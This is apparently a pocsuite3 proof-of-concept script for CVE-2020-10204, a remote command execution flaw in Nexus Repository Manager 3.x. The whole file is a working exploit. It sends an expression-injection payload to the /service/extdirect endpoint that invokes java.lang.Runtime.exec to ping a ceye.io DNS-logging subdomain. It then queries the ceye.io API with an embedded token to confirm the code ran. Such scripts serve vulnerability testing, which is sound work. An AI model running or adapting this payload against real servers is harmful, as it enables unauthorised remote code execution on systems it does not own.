#!/usr/bin/env python
# _*_ encoding：utf-8 _*_

from pocsuite3.api import POCBase
from pocsuite3.api import register_poc
from pocsuite3.api import Output
from collections import OrderedDict
from pocsuite3.api import OptString
from pocsuite3.api import requests
from pocsuite3.lib.utils import random_str

class Nexus(POCBase):
    vulID = ''
    version = '1.0'
    author = ['big04dream']
    vulDate = '2020-04-02'
    createDate = '2020-04-02'
    updateDate = '2020-06-30'
    references = ['']
    name = 'Nexus Manager 3 远程命令执行漏洞'
    appPowerLink = 'https://oss.sonatype.org/'
    appName = 'Nexus Repository Manager 3.x'
    appVersion = 'Nexus Repository Manager 3.x OSS / Pro <= 3.21.1'
    vulType = 'rce'
    desc = '''
    Nexus Manager 3 远程命令执行漏洞（CVE-2020-10204)
    '''

    def _options(self):
        o = OrderedDict()
        o['session'] = OptString('', description='current nexus session', require=False)
        return o

    def _verify(self):
        result = {}
        try:
            target = self.url + '/service/extdirect'
            cmd = random_str(16) + '.6eb4yw.ceye.io'
            payload = 'ping ' + cmd
            data = """
            {"action":"coreui_Role","method":"create","data":[{"version":"","source":"default","id":"1111","name":"2222","description":"3333","privileges":["$\\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('%s')}"],"roles":[]}],"type":"rpc","tid":89}
            """ % payload
            r = requests.post(url=target, headers=self._headers, data=data, timeout=20)
            if r.status_code == 200:
                if "UNIXProcess" in r.text:
                    res = requests.get('http://api.ceye.io/v1/records?token=2490ae17e5a04f03def427a596438995&type=dns')
                    if cmd in res:
                        result['VerifyInfo'] = {}
                        result['VerifyInfo']['URL'] = target
                        result['VerifyInfo']['Payload'] = payload
        except:
            pass
        return self.parse_output(result)

    @property
    def _headers(self):
        headers = {
            'accept': "application/json",
            'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36",
            'NX-ANTI-CSRF-TOKEN': "0.856555763510765",
            'Content-Type': "application/json",
            'Cookie': "jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.856555763510765; NXSESSIONID=" + self.get_option('session') + ""
        }
        return headers

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('not vulnerability')
        return output

register_poc(Nexus)